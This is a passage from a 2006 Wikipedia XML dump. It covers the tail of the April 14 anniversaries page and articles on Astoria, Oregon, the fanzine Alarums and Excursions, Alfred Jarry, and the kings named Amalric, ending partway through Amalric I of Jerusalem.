*[[1970]] - One of [[Apollo 13]]'s oxygen tanks explodes, causing a cancelled moon mission.  The explosion occurred on April 13th in several time zones. 
*[[1981]] - The [[Space Shuttle]] [[Space Shuttle Columbia|''Columbia'']] passes its first test flight.
*[[1986]] - In retaliation for the [[April 5]] [[1986 Berlin discotheque bombing|bombing]] of the [[La Belle (discotheque)|La Belle Discotheque]] in [[West Berlin]] in which two U.S. servicemen were killed, [[Ronald Reagan]] ordered [[Operation El Dorado Canyon|major bombing raids]] against [[Tripoli]] and [[Benghazi]], in [[Libya]], which killed 60 people.
*1986 - 2.2 lb (1 kg) [[hailstone]]s fall on the Gopalganj district of [[Bangladesh]], killing 92. These are the heaviest [[hailstone]]s ever recorded.
*[[1988]] - [[USS Samuel B. Roberts (FFG-58)|USS ''Samuel B. Roberts'']] strikes a [[naval mine|mine]] in the [[Persian Gulf]] during [[Operation Earnest Will]]. U.S. retaliates against [[Iran]] on [[April 18]] with [[Operation Praying Mantis]], the world's largest naval battle since World War II.
*[[2003]] - [[Human Genome Project]] successfully completed with 99% of the human [[genome]] sequenced to 99.99% accuracy.
*2003 - [[Jean Charest]]'s [[Parti libéral du Québec]] defeats [[Bernard Landry]] and the [[Parti Québécois]] in [[Quebec]]'s general elections.

==Births==
*[[1336]] - [[Emperor Go-Kogon]] of Japan (d. [[1374]])
*[[1527]] - [[Abraham Ortelius]], Flemish cartographer and geographer (d. [[1598]])
*[[1572]] - [[Adam Tanner]], Austrian mathematician and philosopher (d. [[1632]])
*[[1578]] - King [[Philip III of Spain]] (d. [[1621]])
*[[1629]] - [[Christiaan Huygens]], Dutch mathematician &amp; astronomer (d. [[1695]])
*[[1714]] - [[Adam Gib]], Scottish religious leader (d. [[1788]])
*[[1788]] - [[David G. Burnet]], interim president of the Republic of Texas (d. [[1870]])
*[[1827]] - [[Augustus Pitt-Rivers]], English archaeologist (d. [[1900]])
*[[1868]] - [[Peter Behrens]], German architect and designer  (d. [[1940]])
*[[1872]] - [[Abdullah Yusuf Ali]], Islamic scholar and translator (d. [[1953]])
*[[1886]] - [[Ernst Robert Curtius]], Alsatian philologist (d. [[1956]])
*[[1897]] - [[Claire Windsor]], American actress (d. [[1972]])
*[[1902]] - [[Menachem Mendel Schneerson]], Ukrainian rabbi (d. [[1994]])
*[[1904]] - Sir [[John Gielgud]], English actor (d. [[2000]])
*[[1907]] - [[François Duvalier]], Haitian politician (d. [[1971]])
*[[1917]] - [[Marvin Miller]], American labor activist
*[[1921]] - [[Thomas Schelling]], American economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner
*[[1925]] - [[Abel Muzorewa]], Prime Minster of Zimbabwe
*1925 - [[Gene Ammons]], American jazz saxophonist (d. [[1974]])
*1925 - [[Rod Steiger]], American actor (d. [[2002]])
*[[1930]] - [[Bradford Dillman]], American actor
*[[1933]] - [[Morton Subotnick]], American composer
*[[1935]] - [[Erich von Däniken]], Swiss writer
*[[1936]] - [[Kenneth Mars]], American actor
*1936 - [[Frank Serpico]], American policeman
*[[1940]] - [[Loretta Lynn]], American singer
*[[1941]] - [[Julie Christie]], British actress
*1941 - [[Pete Rose]], baseball player
*[[1942]] - [[Valeriy Brumel]], Russian athlete (d. [[2003]])
*1942 - [[Valentin Lebedev]], cosmonaut
*[[1945]] - [[Ritchie Blackmore]], English guitarist
*[[1949]] - [[John Shea]], American actor
*[[1951]] - [[Julian Lloyd Webber]], English cellist and composer
*[[1960]] - [[Brad Garrett]], American actor
*[[1961]] - [[Robert Carlyle]], British actor
*[[1964]] - [[Brian Adams (wrestler)]] American Pro Wrestler
*[[1966]] - [[David Justice]], baseball player
*1966 - [[Greg Maddux]], baseball player
*[[1968]] - [[Anthony Michael Hall]], American actor
*[[1973]] - [[Adrien Brody]], American actor
*[[1974]] - [[Da Brat]], American rapper
*[[1975]] - [[Amy Dumas]], American professional wrestler
*[[1977]] - [[Sarah Michelle Gellar]], American actress
*[[1980]] - [[Ben Wells]], American Actor
*[[1983]] - [[James McFadden]], Scottish footballer

==Deaths==
*[[1132]] - Prince [[Mstislav of Kiev]] (b. [[1076]])
*[[1279]] - Duke [[Boleslaus of Greater Poland]]
*[[1322]] - [[Bartholomew de Badlesmere, 1st Lord Badlesmere]], English soldier (b. [[1275]])
*[[1345]] - [[Richard Aungerville]], English bishop and writer (b. [[1287]])
*[[1471]] - [[Richard Neville, 16th Earl of Warwick]], English kingmaker (b. [[1428]])
*[[1574]] - [[Louis of Nassau]], Dutch general (killed in battle) (b. [[1538]])
*[[1578]] - [[James Hepburn, 4th Earl of Bothwell]], consort of [[Mary I of Scotland]]
*[[1599]] - [[Henry Wallop]], English statesman
*[[1662]] - [[William Fiennes, 1st Viscount Saye and Sele]], English statesman (b. [[1582]])
*[[1682]] - [[Avvakum]], Russian priest and writer (b. [[1621]])
*[[1716]] - [[Arthur Herbert, 1st Earl of Torrington]], British admiral
*[[1721]] - [[Michel Chamillart]], French statesman (b. [[1652]])
*[[1759]] - [[George Frideric Handel]], German composer (b. [[1685]])
*[[1785]] - [[William Whitehead]], English writer (b. [[1715]])
*[[1792]] - [[Maximilian Hell]], Slovakian astronomer (b. [[1720]])
*[[1912]] - [[Henri Brisson]], French statesman (b. [[1835]])
*[[1914]] - [[Hubert Bland]], English co-founder of the Fabian Society (b. [[1855]])
*[[1917]] - [[L. L. Zamenhof|Ludovich Lazarus Zamenhof]], Polish creator of Esperanto (b. [[1859]])
*[[1925]] - [[John Singer Sargent]], English artist (b. [[1856]])
*[[1930]] - [[Vladimir Mayakovsky]], Russian writer (b. [[1893]])
*[[1935]] - [[Emmy Noether|Amalie Emmy Noether]], German mathematician (b. [[1882]])
*[[1964]] - [[Rachel Carson]], American writer and environmentalist (b. [[1907]])
*[[1968]] - [[Al Benton]], baseball player (b. [[1911]])
*[[1975]] - [[Fredric March]], American actor (b. [[1897]])
*[[1986]] - [[Simone de Beauvoir]], French feminist writer (b. [[1908]])
*[[1995]] - [[Burl Ives]], American singer and actor (b. [[1909]])
*[[1999]] - [[Ellen Corby]], American actress (b. [[1911]])
*1999 - [[Anthony Newley]], British actor and singer (b. [[1931]])
*[[2000]] - [[Phil Katz]], American computer programmer (b. [[1962]])
*[[2001]] - [[Hiroshi Teshigahara]], Japanese director (b. [[1927]])

==Holidays and observances==
*[[New Year]] Celebrations in parts of India and whole of Sri Lanka
*[[Baisakhi]] - [Celeberations in Punjab, India]
*[[Poila Baisakh]] - [Celeberations in Bengal, India]
*[[Vishu]] - [Harvest festival in Kerala, India]
*[[Black Day]] - informal celebration day for single people in [[South Korea]]
*[[Youth Day]] in [[Angola]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/14 BBC: On This Day]
* [http://www.tnl.net/when/4/14 Today in History: April 14]

----

[[April 13]] - [[April 15]] - [[March 14]] - [[May 14]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:14 April]]
[[an:14 d'abril]]
[[ar:14 ابريل]]
[[ast:14 d'abril]]
[[be:14 красавіка]]
[[bg:14 април]]
[[bs:14. april]]
[[ca:14 d'abril]]
[[ceb:Abril 14]]
[[co:14 d'aprile]]
[[cs:14. duben]]
[[csb:14 łżëkwiôta]]
[[cv:Ака, 14]]
[[cy:14 Ebrill]]
[[da:14. april]]
[[de:14. April]]
[[el:14 Απριλίου]]
[[eo:14-a de aprilo]]
[[es:14 de abril]]
[[et:14. aprill]]
[[eu:Apirilaren 14]]
[[fi:14. huhtikuuta]]
[[fo:14. apríl]]
[[fr:14 avril]]
[[fy:14 april]]
[[ga:14 Aibreán]]
[[gl:14 de abril]]
[[he:14 באפריל]]
[[hr:14. travnja]]
[[hu:Április 14]]
[[ia:14 de april]]
[[id:14 April]]
[[ie:14 april]]
[[io:14 di aprilo]]
[[is:14. apríl]]
[[it:14 aprile]]
[[ja:4月14日]]
[[jv:14 April]]
[[ka:14 აპრილი]]
[[kn:ಎಪ್ರಿಲ್ ೧೪]]
[[ko:4월 14일]]
[[ku:14'ê avrêlê]]
[[la:14 Aprilis]]
[[lb:14. Abrëll]]
[[li:14 april]]
[[lt:Balandžio 14]]
[[mk:14 април]]
[[ms:14 April]]
[[nap:14 'e abbrile]]
[[nl:14 april]]
[[nn:14. april]]
[[no:14. april]]
[[oc:14 d'abril]]
[[pam:Abril 14]]
[[pl:14 kwietnia]]
[[pt:14 de Abril]]
[[ro:14 aprilie]]
[[ru:14 апреля]]
[[scn:14 di aprili]]
[[se:Cuoŋománu 14.]]
[[simple:April 14]]
[[sk:14. apríl]]
[[sl:14. april]]
[[sq:14 Prill]]
[[sr:14. април]]
[[sv:14 april]]
[[te:ఏప్రిల్ 14]]
[[th:14 เมษายน]]
[[tl:Abril 14]]
[[tr:14 Nisan]]
[[tt:14. Äpril]]
[[uk:14 квітня]]
[[ur:14 اپریل]]
[[vi:14 tháng 4]]
[[wa:14 d' avri]]
[[war:Abril 14]]
[[zh:4月14日]]</text>
    </revision>
  </page>
  <page>
    <title>Astoria, Oregon</title>
    <id>1864</id>
    <revision>
      <id>41883716</id>
      <timestamp>2006-03-02T09:56:10Z</timestamp>
      <contributor>
        <ip>209.155.145.244</ip>
      </contributor>
      <comment>Added info about TransAmerica Trail</comment>
      <text xml:space="preserve">[[Image:ORMap-doton-Astoria.png|right|280px]]
[[Image:Astoria Column.jpg|250px|right|thumb|The Astoria Column]]
[[Image:Astoria-Megler.JPG|thumb|250px|right|Astoria.]]
'''Astoria''' is the [[county seat]] of [[Clatsop County, Oregon]]{{GR|6}}, situated near the mouth of the [[Columbia River]]. It was named after the [[United States|American]] investor [[John Jacob Astor]]. As of the [[2000]] census, the city had a total population of 9,813.

== History ==
The [[Lewis and Clark Expedition]] spent the winter of 1805-1806 at [[Fort Clatsop]], a small log structure south and west of modern day Astoria. The expedition had hoped a ship would come by to take them back east, but instead endured a tortuous winter of rain and cold, then returned east the way they came. Today the fort has been recreated and is now a [[national monument]].

Several years later, in 1811, Astor's [[Pacific Fur Company]] founded [[Fort Astoria]] as its primary fur-trading post in the Northwest, and in fact the first permanent U.S. settlement on the Pacific coast.  It was an extremely important post for American exploration of the continent and was influential in helping establish American claims to the land.  The fort and fur trade was sold to the British in [[1813]], and while the fort was restored to the U.S. in [[1818]], control of the fur trade would remain under the British until American pioneers following the [[Oregon Trail]] began filtering into the port town in the mid-1840's. The first U.S. Post Office west of the [[Rocky Mountains]] was also established in Astoria in [[1847]].

As the [[Oregon Territory]] grew and became increasingly more settled, Astoria likewise grew as an ocean/river [[port|port city]]. In 1876 the community was legally incorporated.  It attracted a host of [[Scandinavian]] settlers, and the area still boasts a high concentration of descendants of these original settlers.

In [[1883]], and again in [[1922]], downtown Astoria was devastated by fire, but the city economy was strong enough in both cases to rebuild and thrive. Astoria has served as a port of entry for over a century and remains the trading center for the lower Columbia basin.

In addition to Fort Clatsop, another popular point of interest includes the [[Astoria Column]], a tower 38 m high built atop the hill above the town, with an inner circular staircase allowing visitors to climb to see a breathtaking view of the town, the surrounding lands, and the mighty Columbia flowing into the Pacific.  The column was built in 1926 to commemorate the region's early history by the Astor family.

Eclipsed by [[Portland, Oregon|Portland]] and other ports further inland along the Columbia, Astoria's economy centered around fishing, fish processing, and lumber. In 1945, about 30 canneries could be found along the Columbia; however, in 1974 [[Bumblebee Seafood]] moved its headquarters out of Astoria, and gradually reduced its presence until 1980 when the company closed its last cannery. The [[timber industry]] likewise declined, with Astoria Plywood Mill, the city's largest employer, closing in 1989, and the [[Burlington Northern and Santa Fe Railway]] announcing in 1996 that they were discontinuing service.

Today, tourism, Astoria's growing art scene, and light manufacturing are the main economic activities of the city. It is a port of call for [[cruise ship]]s, with many docking in 2004, 2005, and 13 scheduled in 2006.

Astoria was the setting of the [[1985]] hit movie ''[[The Goonies]]'', which was filmed on location. Other movies filmed in Astoria include ''[[Short Circuit]]'', ''[[Kindergarten Cop]]'', ''[[Free Willy]]'', ''[[Free Willy Two]]'', ''[[Teenage Mutant Ninja Turtles]] III'', ''[[Benji]]'' and ''[[The Ring Two]]''.

Astoria is also the western terminus of the [[TransAmerica Trail]], a [[bicycle touring]] route created by the [[American Cycling Association]].

== Geography ==
Astoria is located at {{coor dms|46|11|20|N|123|49|16|W}} (46.188825, -123.821007){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 27.5 [[square kilometre|km&amp;sup2;]] (10.6 [[square mile|mi&amp;sup2;]]).  15.9 km&amp;sup2; (6.1 mi&amp;sup2;) of it is land and 11.6 km&amp;sup2; (4.5 mi&amp;sup2;) of it is water.  The total area is 42.18% water.

== Demographics ==
[[Image:DSCN6804 astoriawalkingdogontracks e.jpg|250px|right|thumb|Woman walking her dog along the Columbia River in Astoria]]
As of the [[census]]{{GR|2}} of [[2000]], there are 9,813 people, 4,235 households, and 2,469 families residing in the city.  The [[population density]] is 617.1/km&amp;sup2; (1,597.6/mi&amp;sup2;).  There are 4,858 housing units at an average density of 305.5/km&amp;sup2; (790.9/mi&amp;sup2;).  The racial makeup of the city is 91.08% [[White (U.S. Census)|White]], 0.52% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 1.14% [[Native American (U.S. Census)|Native American]], 1.94% [[Asian (U.S. Census)|Asian]], 0.19% [[Pacific Islander (U.S. Census)|Pacific Islander]], 2.67% from [[Race (U.S. Census)|other races]], and 2.46% from two or more races.  5.98% of the population are [[Hispanic American]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 4,235 households out of which 28.8% have children under the age of 18 living with them, 43.5% are [[Marriage|married couples]] living together, 11.2% have a female householder with no husband present, and 41.7% are non-families. 35.4% of all households are made up of individuals and 13.6% have someone living alone who is 65 years of age or older.  The average household size is 2.26 and the average family size is 2.93.

In the city the population is spread out with 24.0% under the age of 18, 9.1% from 18 to 24, 26.4% from 25 to 44, 24.5% from 45 to 64, and 15.9% who are 65 years of age or older.  The median age is 38 years.  For every 100 females there are 92.3 males.  For every 100 females age 18 and over, there are 89.9 males.

The median income for a household in the city is $33,011, and the median income for a family is $41,446. Males have a median income of $29,813 versus $22,121 for females. The [[per capita income]] for the city is $18,759.  15.9% of the population and 11.6% of families are below the [[poverty line]].  Out of the total population, 22.0% of those under the age of 18 and 9.6% of those 65 and older are living below the poverty line.

== Tourist attractions ==
*[http://www.nps.gov/focl/ Fort Clatsop National Memorial]
*[http://www.oregoncoast.com/Astorcol/Astorcol.htm Astoria Column]=
*[[Columbia River Maritime Museum]]
*[http://virtualguidebooks.com/Oregon/OregonCoast/ClatsopSpit/PeterIredaleWreck.html Peter Iredale Wreck]

== External links ==
*[http://www.oldoregon.com/ Official Site for Astoria, Oregon]
{{Mapit-US-cityscale|46.188825|-123.821007}}

[[Category:Astoria, Oregon|*]]
[[Category:Cities in Oregon]]
[[Category:County seats in Oregon]]
[[Category:Clatsop County, Oregon]]
[[Category:Oregon Coast]]
[[Category:The Astors]]

[[de:Astoria (Oregon)]]
[[gl:Astoria]]
[[io:Astoria, Oregon]]</text>
    </revision>
  </page>
  <page>
    <title>ALF</title>
    <id>1865</id>
    <revision>
      <id>38525318</id>
      <timestamp>2006-02-06T22:39:53Z</timestamp>
      <contributor>
        <username>SlimVirgin</username>
        <id>129409</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Animal Liberation Front]]</text>
    </revision>
  </page>
  <page>
    <title>Alarums and Excursions</title>
    <id>1866</id>
    <revision>
      <id>40359284</id>
      <timestamp>2006-02-20T01:17:29Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''''Alarums and Excursions''''' ('''''A&amp;E'''''), started in 1975 by Lee Gold, was one of the first [[fanzine]]s to focus on [[role-playing game]]s. Each issue consists of contributions from different authors, often featuring game design discussions, rules variants, write-ups of game sessions, reviews, and comments on others contributions. As one might guess, the quality varies; but with a no advertising policy and a huge range of viewpoints on display, A&amp;E often makes for interesting reading. It was a three time winner of the [[Charles Roberts Award|Charles Roberts]]/[[Origins Award]] for best amateur [[magazine]].

==External links==
&lt;!-- * http://www.rahul.net/starport/xeno/aande.html (Broken) --&gt;
* http://thestarport.org/xeno/aande.html

{{mag-stub}}

[[Category:Role-playing game magazines]]
[[Category:Origins award winners]]
[[Category:Charles Roberts award winners]]
[[Category:Fanzines]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred Jarry</title>
    <id>1869</id>
    <revision>
      <id>41217960</id>
      <timestamp>2006-02-25T21:31:25Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>/* External links */ * {{gutenberg author| id=Jarry+Alfred | name=Alfred Jarry}}</comment>
      <text xml:space="preserve">[[Image:AlfredJarry.jpg|thumb|178px|right|Alfred Jarry]]
{{French literature (small)}}

'''Alfred Jarry''' ([[September 8]], [[1873]] &amp;ndash; [[November 1]], [[1907]]) was a [[France|French]] [[writer]] born in [[Laval, Mayenne|Laval]], [[Mayenne]], [[France]], not far from the border of [[Brittany]]; he was of [[Brittany|Breton]] descent on his mother's side.

Best known for his [[play]] ''[[Ubu Roi]]'' ([[1896]]), which is often cited as a forerunner to the [[theatre of the absurd]], Jarry  wrote in a variety of genres and styles. He wrote plays, novels, poetry, essays and speculative journalism. His texts present some pioneering work in the field of absurdist literature. Sometimes grotesque or misunderstood (i.e. the opening line in his play ''Ubu Roi'', &quot;Merdre!&quot;, has been translated into English as &quot;Shittr!&quot;, &quot;Shikt!&quot;, and &quot;Shitsky!&quot;), he invented a science called ''[['pataphysics]]''. 

==Biography and works==
A precociously brilliant student, Jarry enthralled his classmates with a gift for pranks and troublemaking.

At the lycée in [[Rennes]] when he was 15, he led of a group of boys who devoted much time and energy to poking fun at their well-meaning, obese and incompetent physics teacher, a man named Hébert. Jarry and classmate Charles Morin wrote a play they called ''Les Polonais'' and performed it with [[marionettes]] in the home of one of their friends. The main character, ''Père Heb'', was a blunderer with a huge belly; three teeth (one of stone, one of iron, and one of wood); a single, retractable ear; and a misshapen body. In Jarry's later work ''[[Ubu Roi]]'', Père Heb would develop into Ubu, one of the most monstrous and astonishing characters in French literature.

At 17, Jarry passed his [[baccalauréat]] and moved to [[Paris]] to prepare for admission to the École Normale Supérieure. Though he was not admitted, he soon gained attention for his original poems and prose-poems. A collection of his work, ''Les minutes de sable mémorial'', was published in 1893.

That same year, both his parents died, leaving him a small inheritance which he quickly spent.

Jarry had meantime discovered the pleasures of alcohol, which he called &quot;my sacred herb&quot; or, when referring to [[absinthe]], the &quot;green goddess&quot;. A story is told that he once painted his face green and rode through town on his bicycle in its honour (and possibly under its influence).

Drafted into the army in 1894, his gift for turning notions upside down defeated attempts to instill military discipline. The sight of the small man in a uniform much too large for his less than 5-foot frame&amp;mdash;the army did not issue uniforms small enough&amp;mdash;was so disruptively funny that he was excused from parades and marching drills. Eventually the army discharged him for medical reasons. His military experience eventually inspired the novel, ''Days and Nights''.

Jarry returned to Paris and applied himself to drinking, writing, and the company of friends who appreciated his witty, sweet-tempered, and unpredictable conversation. This period is marked by his intense involvement with [[Remy de Gourmont]] in the publication of  ''L'Ymagier'', a luxuriously produced &quot;art&quot; magazine devoted to the symbolic analysis of medieval and popular prints. [[Symbolism (arts)|Symbolism]] as an art movement was in full swing at this time and ''L'Ymagier'' provided a nexus for many of its key contributors. Jarry's  play ''Caesar Antichrist'' (1895) drew on this movement for material. This is a work that bridges the gap between serious symbolic meaning and the type of critical absurdity with which Jarry would soon become associated. Using the biblical [[Book of Revelations]] as a point of departure, ''Caesar Antichrist'' presents a parallel world of extreme formal symbolism in which [[Christ]] is resurrected not as an agent of [[spirituality]] but as agent of the [[Roman Empire]] that seeks to dominate spirituality. It is a unique [[narrative]] that effectively links the domination of the [[soul]] to contemporaneous advances in the field of [[Egyptology]] such as the 1894 excavation the [[Narmer Palette]], an ancient artifact used for situating the [[rebus]] within [[hermeneutics]].

The spring of 1896 saw the publication, in Paul Fort's review ''Le Livre d'art'', of Jarry's 5-act play ''[[Ubu Roi]]''&amp;mdash;the rewritten and expanded ''Les Polonais'' of his school days. ''Ubu Roi'''s savage humor and monstrous absurdity, unlike anything thus far performed in French theater, seemed unlikely to ever actually be performed on stage. However, impetuous theater director [[Aurélien-Marie Lugné-Poe]] took the risk, producing the play at his Théâtre de l'Oeuvre.

On opening night ([[December 10]], [[1896]]), with traditionalists and the [[avant-garde]] in the audience, King Ubu (played by [[Firmin Gémier]]) stepped forward and intoned the opening word, &quot;Merdre!&quot; (&quot;Shittr!&quot;). A quarter of an hour of pandemonium ensued: outraged cries, booing, and whistling by the offended parties, countered by cheers and applause by the more forward-thinking contingent. Such interruptions continued through the evening. At the time, only the dress rehearsal and opening night performance were held, and the play was not revived until 1907.

The play brought fame to the 23-year-old Jarry, and he immersed himself in the fiction he had created. Gémier had modeled his portrayal of Ubu on Jarry's own staccato, nasal vocal delivery, which emphasized each syllable (even the silent ones). From then on, Jarry would always speak in this style. He adopted Ubu's ridiculous and pedantic figures of speech; for example, he referred to himself using the [[royal we|royal ''we'']], and called the wind &quot;that which blows&quot; and the bicycle he rode everywhere &quot;that which rolls&quot;.

Jarry moved into a flat which the landlord had made by horizontally dividing one flat into two. He could just manage to stand up in the place, but guests had to bend or crouch. Jarry took to carrying a loaded pistol. In response to a neighbor's complaint that his target shooting endangered her children, he replied, &quot;If that should ever happen, ma-da-me, we should ourselves be happy to get new ones with you&quot; (though he was not at all inclined to engage with females in the manner implied).

Living in worsening poverty, neglecting his health, and drinking excessively, Jarry went on to write what is often cited as the first [[cyborg]] sex novel, ''[[Supermale (novel)|The Supermale]]'', which is partly a satire on the [[Symbolist]] ideal of self-transcendence.

Unpublished until after his death, his fiction ''[[Exploits and Opinions of Dr. Faustroll, pataphysician]]'' (''Gestes et opinions du docteur Faustroll, pataphysicien'') describes the exploits and teachings of a sort of antiphilosopher who, born at age 63, travels through a hallucinatory Paris in a sieve and subscribes to the tenets of ''[['pataphysics]]''. 'Pataphysics deals with &quot;the laws which govern exceptions and will explain the universe supplementary to this one&quot;. In 'pataphysics, every event in the universe is accepted as an extraordinary event.

Jarry once wrote, expressing some of the bizarre logic of 'pataphysics, &quot;If you let a coin fall and it falls, the next time it is just by an infinite coincidence that it will fall again the same way; hundreds of other coins on other hands will follow this pattern in an infinitely unimaginable fashion&quot;.

In his final years, he was a legendary and heroic figure to some of the young writers and artists in Paris. [[Guillaume Apollinaire]], [[André Salmon]], and [[Max Jacob]] sought him out in his truncated apartment. After his death, [[Pablo Picasso]], fascinated with Jarry, acquired his pistol and wore it on his nocturnal expeditions in Paris, and later bought many of his manuscripts as well as executing a fine drawing of him.

Jarry lived in his 'pataphysical world until his death in Paris on [[November 1]], [[1907]] of [[tuberculosis]], aggravated by drug and alcohol use. It is recorded that his last request was for a toothpick. He was interred in the [[Cimetière de Bagneux]], near Paris.

==See also==
* [['pataphysics]]
* ''[[Ubu Roi]]''

==Selected Jarry works==
===Plays===
* [[Ubu Roi|''Ubu the King'' or ''King Turd (Ubu Roi)'']], written at age 15 as ''Les Polonais''.
* ''Ubu Cuckolded (Ubu cocu ), Ubu Bound (Ubu enchaíné)''
===Novels===
* ''[[Supermale (novel)|The Supermale]] (Le Surmâle)''
* ''[[Exploits and Opinions of Dr. Faustroll, pataphysician]] (Gestes et opinions du docteur Faustroll, pataphysicien)''
===Other notable works===
* Short story, ''The Passion Considered as an Uphill Bicycle Race'', has been widely circulated and imitated, notably by [[J.G. Ballard]].

== Bibliography ==
* {{cite book | author=Beaumont, Keith| title=Alfred Jarry: A Critical and Biographical Study | publisher=U.S.: St. Martin's Press | year=1984 | id=ISBN 0-3120-1712-X}}
* {{cite book | author=Tompkins, Calvin | title=Duchamp: A Biography | publisher=U.S.: Henry Holt and Company, Inc | year=1996 | id=ISBN 0-8050-5789-7}}
* ''The Banquet Years'' by Roger Shattuck (1958) ISBN 0394704150

== External links ==
{{wikiquote}}
* [http://pata.obspm.fr/livres/jarry/Ubu_roi.html ''Ubu Roi''] (French)
* [http://pata.obspm.fr/livres/jarry/faustrol.htm ''Gestes et opinions du docteur Faustroll, pataphysicien''] (French)
* [http://pata.obspm.fr/ College of Pataphysics] (French)
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=9101496 Alfred Jarry at Find-A-Grave]
*[http://www.blather.net/shitegeist/2001/05/alfred_jarry_absinthe_bicycle.htm Alfred Jarry: Absinthe, Bicycles and Merdre]
* {{gutenberg author| id=Jarry+Alfred | name=Alfred Jarry}}

[[Category:1873 births|Jarry, Alfred]]
[[Category:1907 deaths|Jarry, Alfred]]
[[Category:French dramatists and playwrights|Jarry, Alfred]]
[[Category:Pataphysicians|Jarry, Alfred]]
[[Category:French satirists|Jarry, Alfred]]

[[br:Alfred Jarry]]
[[cs:Alfred Jarry]]
[[de:Alfred Jarry]]
[[es:Alfred Jarry]]
[[fr:Alfred Jarry]]
[[it:Alfred Jarry]]
[[ka:ჟარი, ალფრედ]]
[[nl:Alfred Jarry]]
[[pl:Alfred Jarry]]
[[sr:Алфред Јари]]
[[sv:Alfred Jarry]]</text>
    </revision>
  </page>
  <page>
    <title>Amalric</title>
    <id>1870</id>
    <revision>
      <id>35514196</id>
      <timestamp>2006-01-17T07:28:50Z</timestamp>
      <contributor>
        <username>Jaraalbe</username>
        <id>261435</id>
      </contributor>
      <comment>hndis</comment>
      <text xml:space="preserve">'''Amalric''' is the name of several kings.

* [[Amalaric|Amalric]] - King of the [[Visigoths]] from 526 to 531
* [[Amalric I of Jerusalem]] - [[kingdom of Jerusalem|King of Jerusalem]] from 1162 to 1174
* [[Amalric II of Jerusalem]] - [[King of Jerusalem]] from 1197 to 1205
* [[Amalric of Bena]] - French theologian ca. 1200 AD
* [[Amalric of Tyre]] - [[Kingdom of Cyprus|King of Cyprus]] from 1306 to 1310

A French variant of this name is '''Amaury.'''

{{hndis}}</text>
    </revision>
  </page>
  <page>
    <title>Amalric I of Jerusalem</title>
    <id>1871</id>
    <revision>
      <id>41308826</id>
      <timestamp>2006-02-26T12:54:52Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Knights Templar]] to [[Knights Templar (military order)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Amalric I''' (also '''Amaury''' or '''Aimery''') ([[1136]] &amp;ndash; [[July 11]], [[1174]]) was [[Kingdom of Jerusalem|King of Jerusalem]] [[1162]]&amp;ndash;[[1174]], and [[Count of Jaffa and Ascalon]] before his accession. Amalric was the second son of [[Melisende of Jerusalem]] and [[Fulk of Jerusalem]].

==Youth==
After the death of Amalric's father, the throne passed jointly to his mother Melisende and his older brother Baldwin III. Melisende did not step down when Baldwin came of age, and by [[1150]] the two were becoming increasingly hostile towards each other. In [[1152]] Baldwin had himself crowned sole king, and civil war broke out, with Melisende retaining [[Jerusalem]] while Baldwin held territory further north. Amalric, who had been given the County of Jaffa as an [[apanage]] when he reached the age of majority in [[1151]], remained loyal to Melisende in Jerusalem, and when Baldwin invaded the south, Amalric was besieged in the [[Tower of David]] with his mother. Melisende was defeated in this struggle and Baldwin ruled alone thereafter. In [[1153]] Baldwin captured the [[Egypt]]ian fortress of [[Ascalon]], which was then added to Amalric's fief of Jaffa (see [[Battle of Ascalon (1153)|Battle of Ascalon]]).

Amalric married [[Agnes of Courtenay]] in [[1157]]. Agnes, daughter of [[Joscelin II of Edessa]], had lived in Jerusalem since the western regions of [[Edessa, Mesopotamia|Edessa]] were lost in 1150. [[Patriarch Fulk of Jerusalem|Patriarch Fulcher]] objected to the marriage on grounds of [[consanguinity]], as the two shared a great-great-grandfather, [[Guy I of Montlhéry]], and it seems that they waited until Fulcher's death to marry. Agnes bore Amalric two children, first [[Sibylla of Jerusalem|Sibylla]] and then the future [[Baldwin IV of Jerusalem|Baldwin IV]] in [[1161]]. Both would come to rule the kingdom in their own right.

==Succession==

Baldwin III died in 1162 and the kingdom passed to Amalric, although there was some opposition among the nobility to Agnes; they were willing to accept the marriage in 1157 when Baldwin III was still capable of siring an heir, but now the ''[[Haute Cour of Jerusalem|Haute Cour]]'' refused to endorse Amalric as king unless his marriage to Agnes was annulled. The hostility to Agnes, it must be admitted, may be exaggerated by the chronicler [[William of Tyre]], whom she prevented from becoming [[Latin Patriarch of Jerusalem]] decades later, as well as from William's continuators like [[Ernoul]], who hints at a slight on her moral character: &quot;car telle n'est que roine doie iestre di si haute cite comme de Jherusalem&quot; (&quot;there should not be such a queen for so holy a city as Jerusalem&quot;). Nevertheless, consanguinity was enough for the opposition. Amalric agreed and ascended the throne without a wife, although Agnes continued to hold the title Countess of Jaffa and Ascalon and received a pension from that fief's income. Agnes soon thereafter married [[Hugh of Ibelin]], to whom she had been engaged before her marriage with Amalric. The church ruled that Amalric and Agnes' children were legitimate and preserved their place in the order of succession. Through her children Agnes would exert much influence in Jerusalem for almost 20 years. 

== Conflicts with the Muslim states ==

As a [[Crusader state]] Jerusalem was constantly in a state of war. Since Baldwin III's blunder by attacking allied [[Damascus]] during the [[Second Crusade]] in [[1147]], the northern frontier was exposed to [[Nur ad-Din]], whose own power continued to grow from his bases in [[Mosul]], [[Aleppo]], and later Damascus when that city fell under his control. Jerusalem lost influence to Byzantium in northern Syria when the Empire imposed its suzerainty over the [[Principality of Antioch]], although Byzantium was increasingly beset by its own conflicts, particularly with the [[Normans]] in [[Sicily]].

